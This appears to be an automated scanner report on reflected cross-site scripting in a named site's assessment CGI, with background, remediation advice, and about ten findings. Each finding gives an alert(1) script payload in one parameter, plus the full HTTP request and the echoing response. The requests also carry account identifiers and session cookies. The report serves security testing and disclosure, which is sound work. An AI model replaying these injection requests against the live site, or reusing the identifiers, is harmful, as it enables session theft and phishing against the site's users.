Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the ProgramLang request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 97205><script>alert(1)</script>49261442eaf was submitted in the ProgramLang parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/assessment.exe?TestType=POPS&ProgramLang=eng97205><script>alert(1)</script>49261442eaf&Function=cac&ac=FCMA3627&nextpage=http://www.investorsgrouphalifax.com/finish.asp&wrappers=clients/investorsgrouphalifax.com HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: http://www.investorsgrouphalifax.com/apply.htm Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Length: 7134 Content-Type: text/html Server: Microsoft-IIS/6.0 set-cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C6%BB%C1%FD%D6%946; path=/; P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:08:53 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... <form name=frmDemo method=post action=assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng97205><script>alert(1)</script>49261442eaf&reportlang=eng&page=1&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromt ...[SNIP]...
The value of the css request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec607"><script>alert(1)</script>4ca6eb8bf05ab5668 was submitted in the css parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=ec607"><script>alert(1)</script>4ca6eb8bf05ab5668&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker=&bypasscps=1&ACCESSCODE=FCMA3627&SALES=KCLARK&CLIENT=INVH16&ACCOUNT=001&USER=LUNAN7&REUSABLE=1&ORC=FCMA3627&PS1=Y HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: https://www.selfmgmt.com/cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker= Cache-Control: max-age=0 Origin: https://www.selfmgmt.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A
Response
HTTP/1.1 200 OK Content-Length: 8770 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:09:17 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... rm name=frmAssessment method=post action="assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=3&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=ec607"><script>alert(1)</script>4ca6eb8bf05ab5668&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker="> ...[SNIP]...
The value of the customcaption request parameter is copied into the HTML document as plain text between tags. The payload 4ee5f<script>alert(1)</script>22d933d236d was submitted in the customcaption parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=4ee5f<script>alert(1)</script>22d933d236d&suppresstitles=&pp=&sps=&fromtracker= HTTP/1.1 Host: www.selfmgmt.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A;
Response
HTTP/1.1 200 OK Content-Length: 4788 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:22:21 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... <b>4ee5f<script>alert(1)</script>22d933d236d</b> ...[SNIP]...
The value of the customcaption request parameter is copied into the HTML document as plain text between tags. The payload 9df94<script>alert(1)</script>6e7967ca11a302adb was submitted in the customcaption parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=9df94<script>alert(1)</script>6e7967ca11a302adb&suppresstitles=&pp=&sps=&fromtracker=&bypasscps=1&ACCESSCODE=FCMA3627&SALES=KCLARK&CLIENT=INVH16&ACCOUNT=001&USER=LUNAN7&REUSABLE=1&ORC=FCMA3627&PS1=Y HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: https://www.selfmgmt.com/cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker= Cache-Control: max-age=0 Origin: https://www.selfmgmt.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A
Response
HTTP/1.1 200 OK Content-Length: 8818 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:09:34 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... <b>9df94<script>alert(1)</script>6e7967ca11a302adb</b> ...[SNIP]...
The value of the footer request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6bb0"><script>alert(1)</script>117a44e972dabb565 was submitted in the footer parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=d6bb0"><script>alert(1)</script>117a44e972dabb565&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker=&bypasscps=1&ACCESSCODE=FCMA3627&SALES=KCLARK&CLIENT=INVH16&ACCOUNT=001&USER=LUNAN7&REUSABLE=1&ORC=FCMA3627&PS1=Y HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: https://www.selfmgmt.com/cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker= Cache-Control: max-age=0 Origin: https://www.selfmgmt.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A
Response
HTTP/1.1 200 OK Content-Length: 8770 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:09:16 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... <form name=frmAssessment method=post action="assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=3&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=d6bb0"><script>alert(1)</script>117a44e972dabb565&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker="> ...[SNIP]...
The value of the fromtracker request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73a28"><script>alert(1)</script>4d03f14e0b3594ec7 was submitted in the fromtracker parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker=73a28"><script>alert(1)</script>4d03f14e0b3594ec7&bypasscps=1&ACCESSCODE=FCMA3627&SALES=KCLARK&CLIENT=INVH16&ACCOUNT=001&USER=LUNAN7&REUSABLE=1&ORC=FCMA3627&PS1=Y HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: https://www.selfmgmt.com/cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker= Cache-Control: max-age=0 Origin: https://www.selfmgmt.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A
Response
HTTP/1.1 200 OK Content-Length: 8770 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:10:10 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... lang=eng&page=3&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker=73a28"><script>alert(1)</script>4d03f14e0b3594ec7"> ...[SNIP]...
The value of the header request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6dc9b"><script>alert(1)</script>8b26c403ec28a274a was submitted in the header parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=6dc9b"><script>alert(1)</script>8b26c403ec28a274a&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker=&bypasscps=1&ACCESSCODE=FCMA3627&SALES=KCLARK&CLIENT=INVH16&ACCOUNT=001&USER=LUNAN7&REUSABLE=1&ORC=FCMA3627&PS1=Y HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: https://www.selfmgmt.com/cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker= Cache-Control: max-age=0 Origin: https://www.selfmgmt.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A
Response
HTTP/1.1 200 OK Content-Length: 8770 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:09:14 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... <form name=frmAssessment method=post action="assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=3&homepage=&wrappers=clients/investorsgrouphalifax.com&header=6dc9b"><script>alert(1)</script>8b26c403ec28a274a&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker="> ...[SNIP]...
The value of the homepage request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3cee"><script>alert(1)</script>ac49c35036986b338 was submitted in the homepage parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=e3cee"><script>alert(1)</script>ac49c35036986b338&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker=&bypasscps=1&ACCESSCODE=FCMA3627&SALES=KCLARK&CLIENT=INVH16&ACCOUNT=001&USER=LUNAN7&REUSABLE=1&ORC=FCMA3627&PS1=Y HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: https://www.selfmgmt.com/cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker= Cache-Control: max-age=0 Origin: https://www.selfmgmt.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A
Response
HTTP/1.1 200 OK Content-Length: 8770 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:09:11 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... <form name=frmAssessment method=post action="assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=3&homepage=e3cee"><script>alert(1)</script>ac49c35036986b338&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker="> ...[SNIP]...
The value of the reportlang request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29cf2"><script>alert(1)</script>8f31a25ac8de11c07 was submitted in the reportlang parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng29cf2"><script>alert(1)</script>8f31a25ac8de11c07&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker=&bypasscps=1&ACCESSCODE=FCMA3627&SALES=KCLARK&CLIENT=INVH16&ACCOUNT=001&USER=LUNAN7&REUSABLE=1&ORC=FCMA3627&PS1=Y HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: https://www.selfmgmt.com/cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker= Cache-Control: max-age=0 Origin: https://www.selfmgmt.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A
Response
HTTP/1.1 200 OK Content-Length: 8770 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:09:08 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... <form name=frmAssessment method=post action="assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng29cf2"><script>alert(1)</script>8f31a25ac8de11c07&page=3&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker="> ...[SNIP]...
The value of the sps request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2415c"><script>alert(1)</script>cf779613d7440802d was submitted in the sps parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=2415c"><script>alert(1)</script>cf779613d7440802d&fromtracker=&bypasscps=1&ACCESSCODE=FCMA3627&SALES=KCLARK&CLIENT=INVH16&ACCOUNT=001&USER=LUNAN7&REUSABLE=1&ORC=FCMA3627&PS1=Y HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: https://www.selfmgmt.com/cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker= Cache-Control: max-age=0 Origin: https://www.selfmgmt.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A
Response
HTTP/1.1 200 OK Content-Length: 8770 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:10:04 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... ng=eng&reportlang=eng&page=3&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=2415c"><script>alert(1)</script>cf779613d7440802d&fromtracker="> ...[SNIP]...
The value of the suppresstitles request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff796"><script>alert(1)</script>73ee1d425ccc4b3f6 was submitted in the suppresstitles parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=ff796"><script>alert(1)</script>73ee1d425ccc4b3f6&pp=&sps=&fromtracker=&bypasscps=1&ACCESSCODE=FCMA3627&SALES=KCLARK&CLIENT=INVH16&ACCOUNT=001&USER=LUNAN7&REUSABLE=1&ORC=FCMA3627&PS1=Y HTTP/1.1 Host: www.selfmgmt.com Connection: keep-alive Referer: https://www.selfmgmt.com/cgi-bin/assessment.exe?Function=DoProfile&testtype=POPS&programlang=eng&reportlang=eng&page=2&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=&pp=&sps=&fromtracker= Cache-Control: max-age=0 Origin: https://www.selfmgmt.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A
Response
HTTP/1.1 200 OK Content-Length: 8770 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:09:43 GMT
